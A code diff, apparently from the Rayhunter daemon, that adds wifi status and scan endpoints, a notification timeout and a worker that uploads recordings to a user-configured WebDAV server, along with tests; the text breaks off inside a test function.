|
||||
use tokio::select;
|
||||
@@ -70,6 +73,8 @@ fn get_router() -> AppRouter {
|
||||
.route("/api/config", get(get_config))
|
||||
.route("/api/config", post(set_config))
|
||||
.route("/api/test-notification", post(test_notification))
|
||||
.route("/api/wifi-status", get(get_wifi_status))
|
||||
.route("/api/wifi-scan", post(scan_wifi))
|
||||
.route("/api/time", get(get_time))
|
||||
.route("/api/time-offset", post(set_time_offset))
|
||||
.route("/api/debug/display-state", post(debug_set_display_state))
|
||||
@@ -173,12 +178,7 @@ fn run_shutdown_thread(
|
||||
async fn main() -> Result<(), RayhunterError> {
|
||||
rayhunter::init_logging(log::LevelFilter::Info);
|
||||
|
||||
#[cfg(feature = "rustcrypto-tls")]
|
||||
{
|
||||
rustls_rustcrypto::provider()
|
||||
.install_default()
|
||||
.expect("Couldn't install rustcrypto provider");
|
||||
}
|
||||
crate::crypto_provider::install_default();
|
||||
|
||||
let args = parse_args();
|
||||
|
||||
@@ -215,18 +215,10 @@ async fn run_with_config(
|
||||
let notification_service = NotificationService::new(config.ntfy_url.clone());
|
||||
|
||||
if !config.debug_mode {
|
||||
info!("Using configuration for device: {0:?}", config.device);
|
||||
let mut dev = DiagDevice::new(&config.device)
|
||||
.await
|
||||
.map_err(RayhunterError::DiagInitError)?;
|
||||
dev.config_logs()
|
||||
.await
|
||||
.map_err(RayhunterError::DiagInitError)?;
|
||||
|
||||
info!("Starting Diag Thread");
|
||||
run_diag_read_thread(
|
||||
&task_tracker,
|
||||
dev,
|
||||
config.device.clone(),
|
||||
diag_rx,
|
||||
diag_tx.clone(),
|
||||
ui_update_tx.clone(),
|
||||
@@ -240,7 +232,7 @@ async fn run_with_config(
|
||||
info!("Starting UI");
|
||||
|
||||
let update_ui = match &config.device {
|
||||
Device::Orbic => display::orbic::update_ui,
|
||||
Device::Orbic | Device::Moxee => display::orbic::update_ui,
|
||||
Device::Tplink => display::tplink::update_ui,
|
||||
Device::Tmobile => display::tmobile::update_ui,
|
||||
Device::Wingtech => display::wingtech::update_ui,
|
||||
@@ -288,6 +280,23 @@ async fn run_with_config(
|
||||
config.enabled_notifications.clone(),
|
||||
);
|
||||
|
||||
let wifi_status = Arc::new(RwLock::new(WifiStatus::default()));
|
||||
wifi_station::run_wifi_client(
|
||||
&task_tracker,
|
||||
&config.wifi_config(),
|
||||
shutdown_token.clone(),
|
||||
wifi_status.clone(),
|
||||
);
|
||||
|
||||
if !config.webdav.url.trim().is_empty() {
|
||||
run_webdav_upload_worker(
|
||||
&task_tracker,
|
||||
shutdown_token.clone(),
|
||||
qmdl_store_lock.clone(),
|
||||
config.webdav.clone().into(),
|
||||
);
|
||||
}
|
||||
|
||||
let state = Arc::new(ServerState {
|
||||
config_path: args.config_path.clone(),
|
||||
config,
|
||||
@@ -297,6 +306,8 @@ async fn run_with_config(
|
||||
analysis_sender: analysis_tx,
|
||||
daemon_restart_token: restart_token.clone(),
|
||||
ui_update_sender: Some(ui_update_tx),
|
||||
wifi_status,
|
||||
wifi_scan_lock: tokio::sync::Mutex::new(()),
|
||||
});
|
||||
run_server(&task_tracker, state, shutdown_token.clone()).await;
|
||||
|
||||
|
||||
@@ -10,6 +10,8 @@ use thiserror::Error;
|
||||
use tokio::sync::mpsc::{self, error::TryRecvError};
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
pub const DEFAULT_NOTIFICATION_TIMEOUT: u64 = 10; //seconds
|
||||
|
||||
#[derive(Error, Debug)]
|
||||
pub enum NotificationError {
|
||||
#[error("HTTP request failed: {0}")]
|
||||
@@ -56,6 +58,7 @@ struct NotificationStatus {
|
||||
|
||||
pub struct NotificationService {
|
||||
url: Option<String>,
|
||||
timeout: u64,
|
||||
tx: mpsc::Sender<Notification>,
|
||||
rx: mpsc::Receiver<Notification>,
|
||||
}
|
||||
@@ -63,7 +66,12 @@ pub struct NotificationService {
|
||||
impl NotificationService {
|
||||
pub fn new(url: Option<String>) -> Self {
|
||||
let (tx, rx) = mpsc::channel(10);
|
||||
Self { url, tx, rx }
|
||||
Self {
|
||||
url,
|
||||
timeout: DEFAULT_NOTIFICATION_TIMEOUT,
|
||||
tx,
|
||||
rx,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn new_handler(&self) -> mpsc::Sender<Notification> {
|
||||
@@ -76,8 +84,14 @@ pub async fn send_notification(
|
||||
http_client: &reqwest::Client,
|
||||
url: &str,
|
||||
message: String,
|
||||
timeout: u64,
|
||||
) -> Result<(), NotificationError> {
|
||||
let response = http_client.post(url).body(message).send().await?;
|
||||
let response = http_client
|
||||
.post(url)
|
||||
.body(message)
|
||||
.timeout(Duration::from_secs(timeout))
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if response.status().is_success() {
|
||||
Ok(())
|
||||
@@ -151,7 +165,13 @@ pub fn run_notification_worker(
|
||||
}
|
||||
}
|
||||
|
||||
match send_notification(&http_client, &url, notification.message.clone()).await
|
||||
match send_notification(
|
||||
&http_client,
|
||||
&url,
|
||||
notification.message.clone(),
|
||||
notification_service.timeout,
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(()) => {
|
||||
notification.last_sent = Some(Instant::now());
|
||||
@@ -203,10 +223,7 @@ mod tests {
|
||||
}
|
||||
|
||||
async fn setup_test_server() -> (Arc<Mutex<Vec<String>>>, String) {
|
||||
#[cfg(feature = "rustcrypto-tls")]
|
||||
{
|
||||
let _ = rustls_rustcrypto::provider().install_default();
|
||||
}
|
||||
crate::crypto_provider::install_default();
|
||||
|
||||
let received_messages = Arc::new(Mutex::new(Vec::new()));
|
||||
let test_state = TestServerState {
|
||||
@@ -230,12 +247,53 @@ mod tests {
|
||||
(received_messages, url)
|
||||
}
|
||||
|
||||
async fn setup_timeout_server(timeout: u64) -> String {
|
||||
crate::crypto_provider::install_default();
|
||||
|
||||
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
|
||||
let addr = listener.local_addr().unwrap();
|
||||
let url = format!("http://{}", addr);
|
||||
|
||||
tokio::spawn(async move {
|
||||
// Accept the connection but don't respond in the timeout
|
||||
let (_socket, _addr) = listener.accept().await.unwrap();
|
||||
tokio::time::sleep(Duration::from_secs(timeout * 2)).await;
|
||||
});
|
||||
|
||||
tokio::time::sleep(Duration::from_millis(100)).await;
|
||||
|
||||
url
|
||||
}
|
||||
|
||||
async fn cleanup_worker(sender: mpsc::Sender<Notification>, tracker: TaskTracker) {
|
||||
drop(sender);
|
||||
tracker.close();
|
||||
tracker.wait().await;
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_send_notification_times_out() {
|
||||
let timeout: u64 = 2;
|
||||
let url = setup_timeout_server(timeout).await;
|
||||
|
||||
let http_client = reqwest::Client::new();
|
||||
let result = send_notification(
|
||||
&http_client,
|
||||
&url,
|
||||
"test warning message".to_string(),
|
||||
timeout,
|
||||
)
|
||||
.await;
|
||||
|
||||
match result {
|
||||
Err(NotificationError::RequestFailed(reqwest_error)) => {
|
||||
println!("error = {:?}", reqwest_error);
|
||||
assert!(reqwest_error.is_timeout());
|
||||
}
|
||||
_ => assert!(false),
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_notification_worker_sends_message() {
|
||||
let (received_messages, url) = setup_test_server().await;
|
||||
|
||||
@@ -2,7 +2,7 @@ use std::io::{self, ErrorKind};
|
||||
use std::os::unix::fs::MetadataExt;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
use chrono::{DateTime, Local};
|
||||
use chrono::{DateTime, Local, TimeDelta};
|
||||
use log::{info, warn};
|
||||
use rayhunter::util::RuntimeMetadata;
|
||||
use serde::{Deserialize, Serialize};
|
||||
@@ -67,6 +67,9 @@ pub struct ManifestEntry {
|
||||
pub arch: Option<String>,
|
||||
#[serde(default)]
|
||||
pub stop_reason: Option<String>,
|
||||
/// When the manifest was uploaded to a WebDAV server
|
||||
#[cfg_attr(feature = "apidocs", schema(value_type = String))]
|
||||
pub upload_time: Option<DateTime<Local>>,
|
||||
}
|
||||
|
||||
impl ManifestEntry {
|
||||
@@ -82,6 +85,7 @@ impl ManifestEntry {
|
||||
system_os: Some(metadata.system_os),
|
||||
arch: Some(metadata.arch),
|
||||
stop_reason: None,
|
||||
upload_time: None,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -212,11 +216,12 @@ impl RecordingStore {
|
||||
system_os: None,
|
||||
arch: None,
|
||||
stop_reason: None,
|
||||
upload_time: None,
|
||||
});
|
||||
}
|
||||
|
||||
// sort chronologically
|
||||
manifest_entries.sort_by(|a, b| a.start_time.cmp(&b.start_time));
|
||||
manifest_entries.sort_by_key(|a| a.start_time);
|
||||
|
||||
let mut store = RecordingStore {
|
||||
path: path.as_ref().to_path_buf(),
|
||||
@@ -342,6 +347,23 @@ impl RecordingStore {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn get_next_unuploaded_entry(&self, min_age: TimeDelta) -> Option<String> {
|
||||
let now = rayhunter::clock::get_adjusted_now();
|
||||
self.manifest
|
||||
.entries
|
||||
.iter()
|
||||
.filter_map(|entry| {
|
||||
if self.is_current_entry(&entry.name) || entry.upload_time.is_some() {
|
||||
return None;
|
||||
}
|
||||
let age = now - entry.last_message_time.unwrap_or(entry.start_time);
|
||||
|
||||
(age > min_age).then_some((&entry.name, age))
|
||||
})
|
||||
.max_by_key(|(_, age)| *age)
|
||||
.map(|(name, _)| name.clone())
|
||||
}
|
||||
|
||||
// Finds an entry by filename
|
||||
pub fn entry_for_name(&self, name: &str) -> Option<(usize, &ManifestEntry)> {
|
||||
let entry_index = self
|
||||
@@ -368,6 +390,22 @@ impl RecordingStore {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn mark_entry_as_uploaded(
|
||||
&mut self,
|
||||
name: &str,
|
||||
upload_time: DateTime<Local>,
|
||||
) -> Result<(), RecordingStoreError> {
|
||||
let entry_index = self
|
||||
.manifest
|
||||
.entries
|
||||
.iter()
|
||||
.position(|entry| entry.name == name)
|
||||
.ok_or(RecordingStoreError::NoSuchEntryError)?;
|
||||
self.manifest.entries[entry_index].upload_time = Some(upload_time);
|
||||
self.write_manifest().await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn is_current_entry(&self, name: &str) -> bool {
|
||||
match self.current_entry {
|
||||
Some(idx) => match self.manifest.entries.get(idx) {
|
||||
@@ -544,4 +582,78 @@ mod tests {
|
||||
store.delete_all_entries().await.unwrap();
|
||||
assert!(store.current_entry.is_none());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_mark_entry_as_uploaded_sets_time_and_persists() {
|
||||
let dir = make_temp_dir();
|
||||
let mut store = RecordingStore::create(dir.path()).await.unwrap();
|
||||
let _ = store.new_entry().await.unwrap();
|
||||
let name = store.manifest.entries[0].name.clone();
|
||||
store.close_current_entry().await.unwrap();
|
||||
|
||||
let upload_time = Local::now();
|
||||
store
|
||||
.mark_entry_as_uploaded(&name, upload_time)
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(store.manifest.entries[0].upload_time, Some(upload_time));
|
||||
|
||||
let reloaded = RecordingStore::load(dir.path()).await.unwrap();
|
||||
assert_eq!(reloaded.manifest.entries[0].upload_time, Some(upload_time));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_mark_entry_as_uploaded_missing_entry() {
|
||||
let dir = make_temp_dir();
|
||||
let mut store = RecordingStore::create(dir.path()).await.unwrap();
|
||||
assert!(matches!(
|
||||
store.mark_entry_as_uploaded("nope", Local::now()).await,
|
||||
Err(RecordingStoreError::NoSuchEntryError)
|
||||
));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_get_next_unuploaded_entry() {
|
||||
let dir = make_temp_dir();
|
||||
let mut store = RecordingStore::create(dir.path()).await.unwrap();
|
||||
|
||||
for _ in 0..3 {
|
||||
let _ = store.new_entry().await.unwrap();
|
||||
}
|
||||
|
||||
store.manifest.entries[0].name = "entry-0".to_owned();
|
||||
store.manifest.entries[0].start_time = Local::now() - TimeDelta::seconds(10);
|
||||
store.manifest.entries[0].last_message_time = None;
|
||||
|
||||
store.manifest.entries[1].name = "entry-1".to_owned();
|
||||
store.manifest.entries[1].start_time = Local::now() - TimeDelta::seconds(10);
|
||||
store.manifest.entries[1].last_message_time = Some(Local::now() - TimeDelta::seconds(5));
|
||||
|
||||
store.manifest.entries[2].name = "entry-2".to_owned();
|
||||
store.manifest.entries[2].start_time = Local::now() - TimeDelta::seconds(10);
|
||||
store.manifest.entries[2].last_message_time = Some(Local::now() - TimeDelta::seconds(1));
|
||||
|
||||
assert_eq!(
|
||||
store.get_next_unuploaded_entry(TimeDelta::seconds(3600)),
|
||||
None,
|
||||
);
|
||||
|
||||
assert_eq!(
|
||||
store.get_next_unuploaded_entry(TimeDelta::seconds(3)),
|
||||
Some("entry-0".to_owned())
|
||||
);
|
||||
store
|
||||
.mark_entry_as_uploaded("entry-0", Local::now())
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(
|
||||
store.get_next_unuploaded_entry(TimeDelta::seconds(3)),
|
||||
Some("entry-1".to_owned())
|
||||
);
|
||||
store
|
||||
.mark_entry_as_uploaded("entry-1", Local::now())
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(store.get_next_unuploaded_entry(TimeDelta::seconds(3)), None);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -25,6 +25,7 @@ use crate::analysis::{AnalysisCtrlMessage, AnalysisStatus};
|
||||
use crate::config::Config;
|
||||
use crate::diag::DiagDeviceCtrlMessage;
|
||||
use crate::display::DisplayState;
|
||||
use crate::notifications::DEFAULT_NOTIFICATION_TIMEOUT;
|
||||
use crate::pcap::generate_pcap_data;
|
||||
use crate::qmdl_store::RecordingStore;
|
||||
|
||||
@@ -37,6 +38,8 @@ pub struct ServerState {
|
||||
pub analysis_sender: Sender<AnalysisCtrlMessage>,
|
||||
pub daemon_restart_token: CancellationToken,
|
||||
pub ui_update_sender: Option<Sender<DisplayState>>,
|
||||
pub wifi_status: Arc<RwLock<wifi_station::WifiStatus>>,
|
||||
pub wifi_scan_lock: tokio::sync::Mutex<()>,
|
||||
}
|
||||
|
||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
||||
@@ -109,9 +112,9 @@ pub async fn serve_static(
|
||||
"index.html" => (
|
||||
[
|
||||
(header::CONTENT_TYPE, HeaderValue::from_static("text/html")),
|
||||
(header::CONTENT_ENCODING, HeaderValue::from_static("gzip")),
|
||||
(header::CONTENT_ENCODING, HeaderValue::from_static("br")),
|
||||
],
|
||||
include_bytes!("../web/build/index.html.gz"),
|
||||
include_bytes!("../web/build/index.html.br"),
|
||||
)
|
||||
.into_response(),
|
||||
path => {
|
||||
@@ -134,7 +137,9 @@ pub async fn serve_static(
|
||||
pub async fn get_config(
|
||||
State(state): State<Arc<ServerState>>,
|
||||
) -> Result<Json<Config>, (StatusCode, String)> {
|
||||
Ok(Json(state.config.clone()))
|
||||
let mut config = state.config.clone();
|
||||
config.wifi_password = None;
|
||||
Ok(Json(config))
|
||||
}
|
||||
|
||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
||||
@@ -157,7 +162,12 @@ pub async fn set_config(
|
||||
State(state): State<Arc<ServerState>>,
|
||||
Json(config): Json<Config>,
|
||||
) -> Result<(StatusCode, String), (StatusCode, String)> {
|
||||
let config_str = toml::to_string_pretty(&config).map_err(|err| {
|
||||
let mut config_to_write = config.clone();
|
||||
config_to_write.wifi_ssid = None;
|
||||
config_to_write.wifi_password = None;
|
||||
config_to_write.wifi_security = None;
|
||||
|
||||
let config_str = toml::to_string_pretty(&config_to_write).map_err(|err| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
format!("failed to serialize config as TOML: {err}"),
|
||||
@@ -171,6 +181,8 @@ pub async fn set_config(
|
||||
)
|
||||
})?;
|
||||
|
||||
wifi_station::update_wpa_conf(&config.wifi_config()).await;
|
||||
|
||||
// Trigger daemon restart after writing config
|
||||
state.daemon_restart_token.cancel();
|
||||
Ok((
|
||||
@@ -209,20 +221,25 @@ pub async fn test_notification(
|
||||
let http_client = reqwest::Client::new();
|
||||
let message = "Test notification from Rayhunter".to_string();
|
||||
|
||||
crate::notifications::send_notification(&http_client, url, message)
|
||||
.await
|
||||
.map(|()| {
|
||||
(
|
||||
StatusCode::OK,
|
||||
"Test notification sent successfully".to_string(),
|
||||
)
|
||||
})
|
||||
.map_err(|e| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
format!("Failed to send test notification: {e}"),
|
||||
)
|
||||
})
|
||||
crate::notifications::send_notification(
|
||||
&http_client,
|
||||
url,
|
||||
message,
|
||||
DEFAULT_NOTIFICATION_TIMEOUT,
|
||||
)
|
||||
.await
|
||||
.map(|()| {
|
||||
(
|
||||
StatusCode::OK,
|
||||
"Test notification sent successfully".to_string(),
|
||||
)
|
||||
})
|
||||
.map_err(|e| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
format!("Failed to send test notification: {e}"),
|
||||
)
|
||||
})
|
||||
}
|
||||
|
||||
/// Response for GET /api/time
|
||||
@@ -394,6 +411,55 @@ pub async fn get_zip(
|
||||
Ok((headers, body).into_response())
|
||||
}
|
||||
|
||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
||||
get,
|
||||
path = "/api/wifi-status",
|
||||
tag = "Configuration",
|
||||
responses(
|
||||
(status = StatusCode::OK, description = "Success", body = wifi_station::WifiStatus)
|
||||
),
|
||||
summary = "Get wifi status",
|
||||
description = "Show the status of the wifi client."
|
||||
))]
|
||||
pub async fn get_wifi_status(
|
||||
State(state): State<Arc<ServerState>>,
|
||||
) -> Json<wifi_station::WifiStatus> {
|
||||
let status = state.wifi_status.read().await;
|
||||
Json(status.clone())
|
||||
}
|
||||
|
||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
||||
post,
|
||||
path = "/api/wifi-scan",
|
||||
tag = "Configuration",
|
||||
responses(
|
||||
(status = StatusCode::OK, description = "Scan success", body = inline(Vec<wifi_station::WifiNetwork>), content_type = "application/json"),
|
||||
(status = StatusCode::TOO_MANY_REQUESTS, description = "Scan already in progress"),
|
||||
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Scan failed"),
|
||||
),
|
||||
summary = "Wifi SSID scan",
|
||||
description = "Poll for a list of available wifi networks. Returns an array of WifiNetwork objects."
|
||||
))]
|
||||
pub async fn scan_wifi(
|
||||
State(state): State<Arc<ServerState>>,
|
||||
) -> Result<Json<Vec<wifi_station::WifiNetwork>>, (StatusCode, String)> {
|
||||
let _guard = state.wifi_scan_lock.try_lock().map_err(|_| {
|
||||
(
|
||||
StatusCode::TOO_MANY_REQUESTS,
|
||||
"WiFi scan already in progress".to_string(),
|
||||
)
|
||||
})?;
|
||||
let networks = wifi_station::scan_wifi_networks(wifi_station::STA_IFACE)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
format!("WiFi scan failed: {e}"),
|
||||
)
|
||||
})?;
|
||||
Ok(Json(networks))
|
||||
}
|
||||
|
||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
||||
post,
|
||||
path = "/api/debug/display-state",
|
||||
@@ -498,6 +564,8 @@ mod tests {
|
||||
analysis_sender: analysis_tx,
|
||||
daemon_restart_token: CancellationToken::new(),
|
||||
ui_update_sender: None,
|
||||
wifi_status: Arc::new(RwLock::new(wifi_station::WifiStatus::default())),
|
||||
wifi_scan_lock: tokio::sync::Mutex::new(()),
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -81,11 +81,12 @@ impl DiskStats {
|
||||
let free_kb = (stat.f_bfree as u64 * block_size / 1024) as usize;
|
||||
let available_kb = (stat.f_bavail as u64 * block_size / 1024) as usize;
|
||||
let used_kb = total_kb.saturating_sub(free_kb);
|
||||
let used_percent = if stat.f_blocks > 0 {
|
||||
format!("{}%", (stat.f_blocks - stat.f_bfree) * 100 / stat.f_blocks)
|
||||
} else {
|
||||
"0%".to_string()
|
||||
};
|
||||
let used_percent = format!(
|
||||
"{}%",
|
||||
((stat.f_blocks - stat.f_bfree) * 100)
|
||||
.checked_div(stat.f_blocks)
|
||||
.unwrap_or(0)
|
||||
);
|
||||
|
||||
Ok(Self {
|
||||
partition: qmdl_path.to_string(),
|
||||
|
||||
446
daemon/src/webdav.rs
Normal file
446
daemon/src/webdav.rs
Normal file
@@ -0,0 +1,446 @@
|
||||
use std::fmt::Display;
|
||||
use std::{sync::Arc, time::Duration};
|
||||
|
||||
use chrono::TimeDelta;
|
||||
use log::{info, warn};
|
||||
use reqwest::header::{CONTENT_LENGTH, CONTENT_TYPE};
|
||||
use reqwest::{Body, Client, Response};
|
||||
use tokio::fs::File;
|
||||
use tokio::join;
|
||||
use tokio::{select, sync::RwLock, time};
|
||||
use tokio_util::io::ReaderStream;
|
||||
use tokio_util::{sync::CancellationToken, task::TaskTracker};
|
||||
|
||||
use crate::config::WebdavConfig;
|
||||
use crate::qmdl_store::RecordingStore;
|
||||
|
||||
pub struct WebdavUploadWorkerConfig {
|
||||
poll_interval: Duration,
|
||||
min_age: TimeDelta,
|
||||
url: String,
|
||||
username: Option<String>,
|
||||
password: Option<String>,
|
||||
timeout: Duration,
|
||||
delete_on_upload: bool,
|
||||
}
|
||||
|
||||
impl From<WebdavConfig> for WebdavUploadWorkerConfig {
|
||||
fn from(value: WebdavConfig) -> Self {
|
||||
WebdavUploadWorkerConfig {
|
||||
poll_interval: Duration::from_secs(value.poll_interval_secs),
|
||||
min_age: TimeDelta::seconds(value.min_age_secs),
|
||||
url: value.url,
|
||||
username: value.username,
|
||||
password: value.password,
|
||||
timeout: Duration::from_secs(value.upload_timeout_secs),
|
||||
delete_on_upload: value.delete_on_upload,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
enum FileKind {
|
||||
Analysis,
|
||||
Qmdl,
|
||||
}
|
||||
|
||||
impl FileKind {
|
||||
fn as_extension(&self) -> &'static str {
|
||||
match self {
|
||||
FileKind::Analysis => ".ndjson",
|
||||
FileKind::Qmdl => ".qmdl",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Display for FileKind {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
FileKind::Analysis => write!(f, "analysis"),
|
||||
FileKind::Qmdl => write!(f, "QMDL"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
struct WebDavClient {
|
||||
client: Client,
|
||||
url: String,
|
||||
username: Option<String>,
|
||||
password: Option<String>,
|
||||
}
|
||||
|
||||
impl WebDavClient {
|
||||
fn new(
|
||||
mut url: String,
|
||||
username: Option<String>,
|
||||
password: Option<String>,
|
||||
timeout: Duration,
|
||||
) -> Result<Self, reqwest::Error> {
|
||||
if !url.ends_with('/') {
|
||||
url.push('/');
|
||||
}
|
||||
Ok(Self {
|
||||
client: reqwest::Client::builder().timeout(timeout).build()?,
|
||||
url,
|
||||
username,
|
||||
password,
|
||||
})
|
||||
}
|
||||
|
||||
async fn try_upload_file(&self, file: File, name: &str) -> anyhow::Result<Response> {
|
||||
let file_size = file.metadata().await?.len();
|
||||
|
||||
let stream = ReaderStream::new(file);
|
||||
let body = Body::wrap_stream(stream);
|
||||
|
||||
let target = format!("{}{}", self.url, name);
|
||||
|
||||
let client = self
|
||||
.client
|
||||
.put(&target)
|
||||
.header(CONTENT_TYPE, "application/octet-stream")
|
||||
.header(CONTENT_LENGTH, file_size);
|
||||
|
||||
let client = match (&self.username, &self.password) {
|
||||
(Some(username), Some(password)) => client.basic_auth(username, Some(password)),
|
||||
(Some(username), None) => client.basic_auth(username, None::<&str>),
|
||||
(None, None) => client,
|
||||
(None, Some(_)) => {
|
||||
warn!(
|
||||
"Got WebDAV auth setting with no username but with a password, skipping authentication"
|
||||
);
|
||||
client
|
||||
}
|
||||
};
|
||||
|
||||
let resp = client.body(body).send().await?.error_for_status();
|
||||
Ok(resp?)
|
||||
}
|
||||
}
|
||||
|
||||
async fn try_upload_entry(
|
||||
client: WebDavClient,
|
||||
store: Arc<RwLock<RecordingStore>>,
|
||||
entry_name: String,
|
||||
file_kind: FileKind,
|
||||
shutdown_token: CancellationToken,
|
||||
) -> Option<()> {
|
||||
let read_lock = store.read().await;
|
||||
let entry_idx = read_lock.entry_for_name(&entry_name)?.0;
|
||||
let file = match file_kind {
|
||||
FileKind::Analysis => read_lock.open_entry_analysis(entry_idx).await,
|
||||
FileKind::Qmdl => read_lock.open_entry_qmdl(entry_idx).await,
|
||||
};
|
||||
drop(read_lock);
|
||||
|
||||
let Ok(file) = file.map_err(|err| {
|
||||
warn!(
|
||||
"Unable to open entry: {} {} file: {:?}",
|
||||
entry_name, file_kind, err
|
||||
)
|
||||
}) else {
|
||||
return None;
|
||||
};
|
||||
|
||||
let file_name = format!("{}{}", entry_name, file_kind.as_extension());
|
||||
|
||||
let res = select! {
|
||||
_ = shutdown_token.cancelled() => {
|
||||
warn!(
|
||||
"Cancelling upload for entry {} {} file: received shutdown signal",
|
||||
entry_name, file_kind
|
||||
);
|
||||
return None;
|
||||
},
|
||||
res = client.try_upload_file(file, &file_name) => res,
|
||||
};
|
||||
|
||||
match res {
|
||||
Ok(_) => {
|
||||
info!("Uploaded {} file for entry {}", file_kind, entry_name);
|
||||
Some(())
|
||||
}
|
||||
Err(err) => {
|
||||
warn!(
|
||||
"Failed to upload {} file for entry {}: {:?}",
|
||||
file_kind, entry_name, err
|
||||
);
|
||||
None
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub fn run_webdav_upload_worker(
|
||||
task_tracker: &TaskTracker,
|
||||
shutdown_token: CancellationToken,
|
||||
qmdl_store_lock: Arc<RwLock<RecordingStore>>,
|
||||
config: WebdavUploadWorkerConfig,
|
||||
) {
|
||||
task_tracker.spawn(async move {
|
||||
let mut interval = time::interval(config.poll_interval);
|
||||
interval.set_missed_tick_behavior(time::MissedTickBehavior::Skip);
|
||||
|
||||
let webdav_client = match WebDavClient::new(
|
||||
config.url,
|
||||
config.username,
|
||||
config.password,
|
||||
config.timeout,
|
||||
) {
|
||||
Ok(client) => client,
|
||||
Err(err) => {
|
||||
warn!("Unable to create WebDAV client: {:?}", err);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
loop {
|
||||
select! {
|
||||
_ = shutdown_token.cancelled() => break,
|
||||
_ = interval.tick() => {
|
||||
loop {
|
||||
let Some(unuploaded_entry) = qmdl_store_lock
|
||||
.read()
|
||||
.await
|
||||
.get_next_unuploaded_entry(config.min_age) else {
|
||||
break;
|
||||
};
|
||||
|
||||
let (Some(()), Some(())) = join!(
|
||||
try_upload_entry(
|
||||
webdav_client.clone(),
|
||||
qmdl_store_lock.clone(),
|
||||
unuploaded_entry.clone(),
|
||||
FileKind::Qmdl,
|
||||
shutdown_token.clone(),
|
||||
),
|
||||
try_upload_entry(
|
||||
webdav_client.clone(),
|
||||
qmdl_store_lock.clone(),
|
||||
unuploaded_entry.clone(),
|
||||
FileKind::Analysis,
|
||||
shutdown_token.clone()
|
||||
),
|
||||
) else {
|
||||
break;
|
||||
};
|
||||
|
||||
if config.delete_on_upload {
|
||||
match qmdl_store_lock.write().await.delete_entry(&unuploaded_entry).await {
|
||||
Ok(_) => info!("Successfully deleted entry: {} after upload to WebDAV", unuploaded_entry),
|
||||
Err(err) => warn!("Unable to delete entry: {} after upload to WebDAV: {}", unuploaded_entry, err),
|
||||
}
|
||||
} else {
|
||||
match qmdl_store_lock.write().await.mark_entry_as_uploaded(&unuploaded_entry, rayhunter::clock::get_adjusted_now()).await {
|
||||
Ok(_) => info!("Successfully marked entry: {} as uploaded", unuploaded_entry),
|
||||
Err(err) => warn!("Unable to mark entry: {} as uploaded: {}", unuploaded_entry, err),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use axum::{
|
||||
Router,
|
||||
body::Bytes,
|
||||
extract::{Path as AxumPath, State},
|
||||
http::{HeaderMap, StatusCode},
|
||||
routing::put,
|
||||
};
|
||||
use tempfile::Builder;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::net::TcpListener;
|
||||
use tokio::sync::Mutex;
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
struct RecordedPut {
|
||||
path: String,
|
||||
auth: Option<String>,
|
||||
body: Vec<u8>,
|
||||
}
|
||||
|
||||
async fn capture_put(
|
||||
State(state): State<Arc<Mutex<Vec<RecordedPut>>>>,
|
||||
AxumPath(path): AxumPath<String>,
|
||||
headers: HeaderMap,
|
||||
body: Bytes,
|
||||
) -> StatusCode {
|
||||
let auth = headers
|
||||
.get("authorization")
|
||||
.and_then(|v| v.to_str().ok())
|
||||
.map(String::from);
|
||||
state.lock().await.push(RecordedPut {
|
||||
path,
|
||||
auth,
|
||||
body: body.to_vec(),
|
||||
});
|
||||
StatusCode::CREATED
|
||||
}
|
||||
|
||||
async fn setup_webdav_server() -> (Arc<Mutex<Vec<RecordedPut>>>, String) {
|
||||
crate::crypto_provider::install_default();
|
||||
|
||||
let state = Arc::new(Mutex::new(Vec::new()));
|
||||
let app = Router::new()
|
||||
.route("/{*path}", put(capture_put))
|
||||
.with_state(state.clone());
|
||||
|
||||
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
|
||||
let addr = listener.local_addr().unwrap();
|
||||
let url = format!("http://{}/dav", addr);
|
||||
|
||||
tokio::spawn(async move {
|
||||
